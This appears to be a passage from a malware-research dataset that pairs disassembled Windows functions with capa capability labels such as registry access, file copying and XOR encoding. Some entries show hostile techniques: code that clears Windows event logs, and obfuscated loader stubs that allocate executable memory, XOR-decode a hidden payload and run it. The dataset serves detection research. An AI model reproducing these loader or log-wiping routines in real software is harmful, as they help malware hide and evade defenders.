joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100a8a20
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100b8823
mov eax, dword fs:[0]
push eax
push ecx
push edi
mov eax, dword [section..data]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [edi], 0
mov dword [edi + 4], 0
call fcn.100698f0
mov dword [edi], eax
push 0
mov dword [ebp - 4], 0
push 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
call fcn.1001b2a0
mov dword [edi + 8], eax
push 0
mov byte [ebp - 4], 1
push 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
call fcn.1001b2a0
mov dword [edi + 0x10], eax
lea eax, [edi + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [edi + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [edi + 0x5c], 7
xor eax, eax
mov dword [edi + 0x58], 0
mov word [edi + 0x48], ax
mov dword [edi + 0x70], eax
mov dword [edi + 0x74], 7
mov word [edi + 0x60], ax
mov dword [edi + 0x88], eax
mov dword [edi + 0x8c], 7
mov word [edi + 0x78], ax
mov dword [edi + 0xa0], eax
mov dword [edi + 0xa4], 7
mov word [edi + 0x90], ax
mov dword [edi + 0xbc], eax
mov dword [edi + 0xc0], 7
mov word [edi + 0xac], ax
mov dword [edi + 0xc4], eax
mov dword [edi + 0xc8], 0xffffffff
mov dword [edi + 0xcc], eax
mov eax, edi
mov dword [edi + 0xd0], 2
mov dword [edi + 0xd4], 2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x417941
Capabilities:
Encode data using xor

Disassembly:
xchg edx, eax
push edi
jbe 0x41798d
inc ebp
sbb eax, 0x4bc036a1
push es
push ss
sub al, 0x9a
outsb dx, byte [esi]
cmp eax, edx
adc dword [eax], ecx
out 0x3d, al
js 0x41795b
lodsb al, byte ds:[esi]
lodsb al, byte [esi]
xor dh, ch
aam 0xb4
rol ebx, 1
xchg ebp, eax
jmp 0x4179a1
invalid
mov edi, 0xdb9ce7
cmp ah, byte [edi + 0x387a61c7]
je 0x4179e4
aam 0x37
mov eax, 0xb06988c0
clc
add byte [esp + ebp*4 - 0x26], ch
into
adc eax, 0x8f3b1147
add al, bl
jg 0x417a19
push 0x5c
rol dword [edi], cl
inc ebx
dec ecx
imul esp, dword fs:[ebp + ebp*2 - 0x2edfbc10], 0xffffffd2
fnstsw word [esi - 0xcffba0b]
jne 0x4179f2
adc eax, 0x78b6c516
sub eax, 0xa0fb9f15
popfd
adc eax, 0x9da0fb9f
mov al, byte [0x6b4c89d]
xor dword [eax], 0xb
enter 0x6b4, 0xffffffffffffff83
xor byte [ebx], cl
cmp ebp, esp
invalid
jne 0x4179ff
daa
lodsb al, byte [esi]
subps xmm2, xmm4
pop esp
insb byte es:[edi], dx
mov dword [0xf61cc7df], eax
and byte [eax - 0x1c], bh
mul byte [eax]
js 0x4179e7
fiadd word [eax - 0x50bf978e]
xor byte [edx + 0x68], 0x40
scasd eax, dword es:[edi]
mov dh, 0x1e
in al, 0x7f
and edi, dword [edi - 0xf]
mov ds, word [edx + 0x298ca642]
test eax, 0xd720b1
popfd
and ecx, edi
or cl, byte [edi - 0x3e]
sub ebx, dword [eax - 4]
inc ebx
or ecx, dword [esi - 0x28]
loop 0x417a04
xlatb
add byte [ebp + 0x4f0af921], bl
ret 0x582b
inc edx
invalid

Function at 0x417e10
Capabilities:
Get disk information

Disassembly:
push ecx
push esi
push 0x4c3074
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [0x4c6aec], eax
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov dword [0x4c6aec], eax
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0
mov dword [0x4c74b0], eax
mov dword [esp + 8], 0
call dword [sym.imp.ole32.dll_CoInitialize]
test esi, esi
je 0x417e66
lea eax, [esp + 4]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push str.MSWHEEL_ROLLMSG
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
pop esi
mov ecx, dword [esp]
add ecx, eax
mov eax, ecx
pop ecx
ret
Function at 0x44e5f1
Capabilities:
Encode data using xor

Disassembly:
dec ebp
jg 0x44e5e0
movsd dword es:[edi], dword [esi]
adc eax, 0xcda785a6
jae 0x44e5c3
adc byte [ebp - 0x6ae11ee4], cl
les esp, [ecx + 0x23]
xor eax, dword [ecx]
mov esi, 0xb7425f22
or al, byte [0x1bf70024]
add eax, 0x5de6ac67
in eax, 0xe7
sahf
rcl dword [0xa3d4aef4]
jbe 0x44e5c6
cwde
or byte [ebp + 0x26], al
and byte [esi], ch
lea ecx, [edi - 0x139bffe9]
les esp, [edx + ebp*8]
and eax, 0x453b2cff
sal dword [edi + ecx - 0x6e], 0x91
push ds
int 0xb4
lea ebp, [eax + 0x557d57d6]
mov al, 0x2e
push 0x8ba456e0
xchg ebx, eax
inc esp
jbe 0x44e5d0
cdq
sub edi, edi
mov ebp, 0xa163c2e7
ret 0xa163
jnp 0x44e633
pop es
in al, dx
loop 0x44e5e1
in eax, 0x56
loope 0x44e5e5
pop ss
dec ebx
push edi
sal byte [edi], 0x55
mov eax, 0x2bcf867f
movsd dword es:[edi], dword [esi]
salc
xchg esp, eax
adc edx, dword [edx + 0x10]
jg 0x44e55f
iretd
adc byte [0xb4e3d4e9], al
add eax, 0xb4e3d4e9
mov ah, 0xf6
and dword [ebp + edx*8 - 0x499d3af1], 0xfdb0a2a6
std
test byte [ecx - 0x3af02a5c], 0x62
mov dh, 0xa6
mov byte [0x105ffdb0], al
std
pop edi
adc dl, ah
invalid
pop edi
adc dl, ah
loope 0x44e627
xor byte [ebp - 0x6ee4ea39], ah
cmp dl, byte [edx - 0x52a49a45]
in eax, 0x15
test al, 0xc9
xchg ebx, edi
mov dh, 0x33
mov dl, 0x34
enter 0xffffffffffffe5b6, 0x55
jge 0x44e5f6
movsd dword es:[edi], dword [esi]
invalid
insb byte es:[edi], dx
mov word [ebp + 0x5e], ss
mov bh, 0x8d
or al, 0x74
test al, 0x43
in eax, 0xb5
inc esp
xchg ebx, eax
add eax, 0x997e4464
mov bl, 0xc1
cmp ebx, ebp
sar dword [ecx], 0xeb
cmpsb byte [esi], byte es:[edi]
mov al, byte [0x17e297a6]
insd dword es:[edi], dx
mov dl, 0x56
push ss
push 0x1d2394d4
fnstsw word [esi + 0x25]
pop ds
xchg ecx, eax
aaa
jge 0x44e682
lcall 0x9756, 0x935640de
xchg byte [esi], bh
mov dword [ecx - 0x2762da52], esp
push esi
fist dword [edi + 0x3f]
sub byte [edi + 0x1e], dh
insd dword es:[edi], dx
inc ebp
aam 0x27
pop ds
imul edi, dword [ebp - 0x223bbcd4], 0xffffff94
fst qword [esi - 0x38212229]
mov edi, 0xe6bc0ec9
salc
inc esp
aad 0x96
or eax, dword [ebx + 0x4694369d]
inc ebx
pop esi
invalid
Function at 0x48b301
Capabilities:
Encode data using xor

Disassembly:
mov dh, 0
in eax, 0xb6
inc edx
lodsd eax, dword [esi]
sub al, 0x87
pushal
xor dword [ebx + 0x12], edx
lodsb al, byte [esi]
arpl word [edx], bx
retf
push 0x433cf5a7
inc ebx
std
fmul dword [ecx + edx*8 - 0x12]
ror dword [ecx - 0x54ff2f0a], cl
ja 0x48b295
call 0x1c2a01ac
bound edi, qword [edx + ebp*8 - 0x54]
pushfd
jp 0x48b2a4
ljmp 0x336f:0xcc7a9cac
outsd dx, dword [esi]
xor esp, dword [esi + 0x76]
push ss
insb byte es:[edi], dx
wait
jle 0x48b2d3
push edi
sbb ebx, dword [edx + 0x48]
and esi, dword [esi + 0x40]
loopne 0x48b2be
mov ah, cl
dec ebx
mov esi, 0x6e0fd151
jg 0x48b318
fbld tbyte [edx + 0x7ead1f91]
sar ebx, 0x4f
sti
dec edi
xor al, bh
loope 0x48b2fc
cli
cli
pushal
shr byte [eax - 0x3dc842cd], 0xf5
cmpsb byte [esi], byte es:[edi]
push edx
cld
repne lodsb al, byte [esi]
sbb dh, byte [edx + edx*8]
das
sub dword [edi - 0x7c568940], 0xb50a9a26
enter 0xffffffffffffaac3, 0xffffffffffffffe6
and dword [esi], 0xffffff9a
or dh, byte [ebp - 0x19553c38]
push esi
clc
jae 0x48b36b
mov bh, 0x76
jle 0x48b2ba
sub al, 0xd7
stosd dword es:[edi], eax
mov eax, 0x26b69303
fstp qword [ebp - 0x57306944]
dec ecx
iretd
loopne 0x48b2f3
inc ebp
wait
push es
fidiv dword [ebp + 0x4c2ad315]
xchg byte [edi - 0x561f182f], cl
pop ebp
pop esp
inc esp
invalid

Function at 0x4bb351
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c33a8
cmp edx, dword [eax]
je 0x4bb373
add eax, 8
inc ecx
cmp eax, 0x4c3438
jl 0x4bb364
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c33a8]
jne 0x4bb4a1
mov eax, dword [0x4c7d2c]
cmp eax, 1
je 0x4bb47b
test eax, eax
jne 0x4bb3a4
cmp dword [0x4c32d4], 1
je 0x4bb47b
cmp edx, 0xfc
je 0x4bb4a1
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bb3db
lea eax, [ebp - 0x1a4]
push 0x4c0858
push eax
call fcn.004bbd30
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bc1c0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bb41e
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bc1c0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c0854
push edi
call fcn.004be090
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4c0838
push eax
call fcn.004bbd30
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bbd40
lea eax, [ebp - 0xa0]
push 0x4c0834
push eax
call fcn.004bbd40
push dword [esi + 0x4c33ac]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bbd40
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4c080c
push eax
call fcn.004be004
add esp, 0x2c
pop edi
jmp 0x4bb4a1
lea eax, [ebp + 8]
lea esi, [esi + 0x4c33ac]
push 0
push eax
push dword [esi]
call fcn.004bc1c0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x40194e
Capabilities:
Access the windows event log
Clear file content
Clear windows event logs
Get common file path
Get keyboard layout

Disassembly:
sub esp, 0x400
push esi
push edi
xor esi, esi
xor edi, edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp edi, 0x58ced85
jg 0x401974
inc edi
cmp edi, 0x1f6502b1
jl 0x40195a
cmp dword [0x281eac4], 0x400
jne 0x4019d6
push str.sadahoziyofejonoh_niforapo_pihekezavokigubodatojup_rafepigojamulexiwodugaxexude_jam
push str.nelugidoneyari
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
call dword [sym.imp.USER32.dll_DdeKeepStringHandle]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameW]
push 0x42db18
push esi
call dword [sym.imp.ADVAPI32.dll_BackupEventLogW]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogW]
push esi
call fcn.00401f97
push esi
call fcn.00401f5d
push esi
push esi
call fcn.00402157
push esi
call fcn.00402204
push esi
call fcn.00402213
add esp, 0x18
xor edi, edi
cmp edi, 0xd09a
jge 0x4019e7
push esi
call dword [sym.imp.USER32.dll_GetCaretPos]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp edi, 0xd2ced2
jg 0x401a0f
inc edi
cmp edi, 0x263ff
jl 0x4019d8
mov eax, dword [0x430c14]
mov dword [0x281eac4], eax
call fcn.004016c8
mov edi, 0x3078f
cmp dword [0x281eac4], 0x51f
jne 0x401a3b
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
dec edi
jne 0x401a23
pop edi
xor eax, eax
pop esi
add esp, 0x400
ret 0x10

Function at 0x404c1e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x430930]
jne 0x404c28
repz ret
jmp fcn.0040619c
Function at 0x40599b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x430930]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00402ef2
and dword [ebp - 0x14], 0
cmp dword [0x43b78c], 0
mov dword [ebp - 0x18], eax
jne 0x405a4e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x405af6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x405af6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x43b78c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x43b790], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x43b794], eax
call edi
push eax
call esi
mov dword [0x43b79c], eax
test eax, eax
je 0x405a4e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x43b798], eax
mov eax, dword [0x43b798]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x405aa7
cmp dword [0x43b79c], ecx
je 0x405aa7
push eax
call esi
push dword [0x43b79c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x405aa7
test ebx, ebx
je 0x405aa7
call edi
test eax, eax
je 0x405a9e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x405a9e
test byte [ebp - 8], 1
jne 0x405aa7
or dword [ebp + 0x10], 0x200000
jmp 0x405ada
mov eax, dword [0x43b790]
cmp eax, dword [ebp - 0x18]
je 0x405ada
push eax
call esi
test eax, eax
je 0x405ada
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x405ada
mov eax, dword [0x43b794]
cmp eax, dword [ebp - 0x18]
je 0x405ada
push eax
call esi
test eax, eax
je 0x405ada
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43b78c]
call esi
test eax, eax
je 0x405af6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x405af8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404c1e
leave
ret
Function at 0x401b4b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x401b5a
pop dword [ebp - 0x48]
mov eax, 0x401308f0
sub eax, 0x3fd2ed96
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xb4b09e98
add dword [ebp - 0x58], 0x99a1a6b3
mov dword [ebp - 0x54], 0xac1ddd76
add dword [ebp - 0x54], 0x86156ecf
mov dword [ebp - 0x50], 0x87f88f7f
add dword [ebp - 0x50], 0xc453b4af
mov dword [ebp - 0x4c], 0x33b60879
add dword [ebp - 0x4c], 0xcc49f787
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x2634c444
add dword [ebp - 0x58], 0x4e3da512
mov dword [ebp - 0x54], 0x3e274005
add dword [ebp - 0x54], 0x3452170
mov dword [ebp - 0x50], 0xdac1cc0e
add dword [ebp - 0x50], 0x88ada05e
mov dword [ebp - 0x4c], 0x528fd7a6
add dword [ebp - 0x4c], 0xad70285a
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x208ce956
sub eax, 0x204c190a
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3c9a1
push 0
call eax
mov ecx, 0x20d7cebe
sub ecx, 0x20d77b24
xor edx, edx
add edx, eax
mov ebx, 0xb010083a
add ebx, 0x5031a7c6
add ebx, dword [ebp - 0x48]
mov edi, 0xfb6c9d5c
sub dword [ebp - 0x10], edx
mov esi, dword [ebx]
sub dword [ebp - 0x2c], 0x8b9195a3
xor esi, edi
sub dword [ebp - 0x30], edx
mov dword [edx], esi
sub dword [ebp - 0x20], ebx
add edx, 0xfeed487a
sub edx, 0xfeed4876
add ebx, 0x1a98f69f
add ebx, 0xe5670965
loop 0x401c73
add eax, 0xdcfd9ef9
add eax, 0x2303a242
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x8b98233c
sub ecx, 0x8b58233c
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x6d00396e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d0070c0]
jne 0x6d003978
repz ret
jmp fcn.6d003f95

Function at 0x6d003c50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x6d003c5f
pop dword [ebp - 0x48]
mov eax, 0x466899e0
sub eax, 0xd9685d81
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x21a84c31
add dword [ebp - 0x58], 0x2ca9f91a
mov dword [ebp - 0x54], 0x9f10e6c5
sub dword [ebp - 0x54], 0x6cdd9a80
mov dword [ebp - 0x50], 0x26651798
sub dword [ebp - 0x50], 0xda18d36a
mov dword [ebp - 0x4c], 0x1f789a1
sub dword [ebp - 0x4c], 0x1f789a1
lea eax, [ebp - 0x58]
push eax
mov eax, 0x96933860
sub eax, 0x2992e83c
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xa9c5f604
sub dword [ebp - 0x58], 0x35538cae
mov dword [ebp - 0x54], 0x9bb919c5
sub dword [ebp - 0x54], 0x5a4cb850
mov dword [ebp - 0x50], 0x14c5a035
sub dword [ebp - 0x50], 0xb15633c9
mov dword [ebp - 0x4c], 0xa3f2d8f9
sub dword [ebp - 0x4c], 0xa3f2d8f9
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3669f
push 0
call eax
mov ecx, 0x4687
xor esi, esi
add esi, eax
mov edx, 0x2fef51eb
sub edx, 0xc2ee9beb
add edx, dword [ebp - 0x48]
mov ebx, 0x66b9f53c
add dword [ebp - 8], edx
mov edi, dword [edx]
sub dword [ebp - 0x44], edx
xor edi, ebx
add dword [ebp - 0x20], 0xed208630
mov dword [esi], edi
add esi, 4
add edx, 4
loop 0x6d003d72
add eax, 0xa4c0878a
add eax, 0x5b408565
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x7102b4c9
add ecx, 0xfbfd4b37
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x405340
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 0x10]
push ebx
push ebp
push esi
push edi
push 0xffffffffffffffff
push 0
call fcn.005dd684
mov eax, dword [esp + 0x18]
test eax, eax
je 0x405370
push 0x20019
push eax
mov eax, dword [esp + 0x1c]
push eax
call fcn.00405480
add esp, 0xc
mov ebp, eax
jmp 0x405374
mov ebp, dword [esp + 0x14]
test ebp, ebp
je 0x40546e
mov esi, dword [esp + 0x1c]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push 0
push edx
push 0
push esi
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40545f
mov eax, dword [esp + 0x1c]
cmp eax, 1
je 0x4053ba
cmp eax, 2
je 0x4053ba
cmp eax, 6
je 0x4053ba
cmp eax, 7
jne 0x40545f
mov eax, dword [esp + 0x18]
add eax, 2
push eax
call fcn.005df898
mov ecx, dword [esp + 0x1c]
mov ebx, eax
add ecx, 2
xor eax, eax
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
add esp, 4
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x18]
push eax
push ebx
push 0
push 0
push esi
push ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405456
mov eax, dword [esp + 0x18]
cmp eax, 2
jb 0x405434
test eax, eax
mov esi, ebx
jbe 0x405434
mov ecx, dword [esp + 0x20]
push esi
mov edx, dword [ecx + 8]
push edx
call fcn.005dd89a
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea esi, [esi + ecx + 1]
mov ecx, dword [esp + 0x18]
mov eax, esi
sub eax, ebx
cmp eax, ecx
jb 0x40540a
cmp ebp, dword [esp + 0x14]
je 0x405443
push ebp
call fcn.004054b0
add esp, 4
push ebx
call fcn.005df8c1
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
ret
push ebx
call fcn.005df8c1
add esp, 4
cmp ebp, dword [esp + 0x14]
je 0x40546e
push ebp
call fcn.004054b0
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x4060a0
Capabilities:
Set registry value

Disassembly:
push ecx
mov ecx, dword [esp + 0x14]
mov dword [esp], 0
test ecx, ecx
mov eax, 0x2001f
je 0x4060bb
mov eax, 0x2011f
mov edx, dword [esp + 8]
lea ecx, [esp]
push ecx
push eax
push 0
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x406113
push esi
mov esi, dword [esp + 0x14]
test esi, esi
je 0x4060ef
push esi
call fcn.0044cee0
add esp, 4
lea eax, [eax + eax + 2]
jmp 0x4060f1
xor eax, eax
mov ecx, dword [esp + 4]
push eax
mov eax, dword [esp + 0x14]
push esi
push 1
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ecx
ret 0x10

Function at 0x406120
Capabilities:
Set registry value

Disassembly:
push ecx
mov ecx, dword [esp + 0x14]
mov dword [esp], 0
test ecx, ecx
mov eax, 0x2001f
je 0x40613b
mov eax, 0x2011f
mov edx, dword [esp + 8]
lea ecx, [esp]
push ecx
push eax
push 0
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40617d
mov ecx, dword [esp + 0xc]
mov edx, dword [esp]
lea eax, [esp + 0x10]
push 4
push eax
push 4
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ecx
ret 0x10

Function at 0x406190
Capabilities:
Set registry value

Disassembly:
push ecx
mov ecx, dword [esp + 0x18]
mov dword [esp], 0
test ecx, ecx
mov eax, 0x2001f
je 0x4061ab
mov eax, 0x2011f
mov edx, dword [esp + 8]
lea ecx, [esp]
push ecx
push eax
push 0
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4061ed
mov ecx, dword [esp + 0xc]
mov edx, dword [esp]
lea eax, [esp + 0x10]
push 8
push eax
push 3
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ecx
ret 0x14

Function at 0x406200
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
mov ecx, dword [esp + 0xc]
lea eax, [esp]
push esi
push eax
xor esi, esi
push ecx
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x10], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x40629a
mov ecx, dword [esp + 4]
push ebx
lea edx, [esp + 0x14]
push edi
mov edi, dword [esp + 0x1c]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edx
mov dword [esp + 0x14], eax
mov dword [esp + 0x1c], eax
push eax
lea eax, [esp + 0x18]
push eax
push esi
push edi
push ecx
call ebx
mov eax, dword [esp + 0x18]
cmp eax, 2
jb 0x406284
add eax, 2
mov dword [esp + 0x18], eax
shr eax, 1
lea edx, [eax + eax]
push edx
call fcn.005df898
mov esi, eax
add esp, 4
test esi, esi
je 0x406284
mov edx, dword [esp + 0xc]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x14]
push esi
push ecx
push 0
push edi
push edx
call ebx
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop ebx
pop esi
add esp, 8
ret 8
mov eax, esi
pop esi
add esp, 8
ret 8
Function at 0x4064b0
Capabilities:
Copy file

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5ee5f8
push eax
mov eax, dword [0x6844b0]
mov dword fs:[0], esp
sub esp, 8
test eax, eax
je 0x4064ea
push str.CopyFile_1_______
push str.cmdtest
push 0xf
push 0x684444
call fcn.00431aa0
add esp, 0x10
push ebx
push ebp
push esi
mov esi, dword [esp + 0x2c]
push edi
mov edi, dword [esp + 0x2c]
push edi
mov ecx, esi
call fcn.005df350
push str._NEW.txt
push str..txt
mov ecx, esi
call fcn.005dc330
mov ebp, dword [esp + 0x28]
lea ecx, [esp + 0x14]
push ebp
call fcn.005df287
push ebp
lea ecx, [esp + 0x14]
mov dword [esp + 0x24], 0
call fcn.005df287
lea eax, [esp + 0x14]
push 0x6433d8
lea ecx, [esp + 0x34]
mov bl, 1
push eax
push ecx
mov byte [esp + 0x2c], bl
call fcn.005df45c
push edi
lea edx, [esp + 0x30]
push eax
push edx
mov byte [esp + 0x2c], 2
call fcn.005df45c
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x24], 3
call fcn.005df300
lea ecx, [esp + 0x2c]
mov byte [esp + 0x20], 2
call fcn.005df1c7
lea ecx, [esp + 0x30]
mov byte [esp + 0x20], bl
call fcn.005df1c7
lea eax, [esp + 0x10]
push 0x6433d8
lea ecx, [esp + 0x34]
push eax
push ecx
call fcn.005df45c
push esi
lea edx, [esp + 0x30]
push eax
push edx
mov byte [esp + 0x2c], 4
call fcn.005df3f6
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x24], 5
call fcn.005df300
lea ecx, [esp + 0x2c]
mov byte [esp + 0x20], 4
call fcn.005df1c7
lea ecx, [esp + 0x30]
mov byte [esp + 0x20], bl
call fcn.005df1c7
mov eax, dword [esp + 0x34]
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edi, eax
mov eax, dword [0x6844b0]
test eax, eax
je 0x40662e
mov esi, dword [esi]
lea ecx, [esp + 0x2c]
push esi
call fcn.00466880
mov eax, dword [eax]
push edi
push eax
push str.CopyFile_1______s___d_
push str.cmdtest
push 0xf
push 0x684444
mov byte [esp + 0x38], 6
call fcn.00431aa0
add esp, 0x18
lea ecx, [esp + 0x2c]
mov byte [esp + 0x20], bl
call fcn.00467200
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], 0
call fcn.005df1c7
lea ecx, [esp + 0x14]
mov dword [esp + 0x20], 0xffffffff
call fcn.005df1c7
mov ecx, dword [esp + 0x18]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret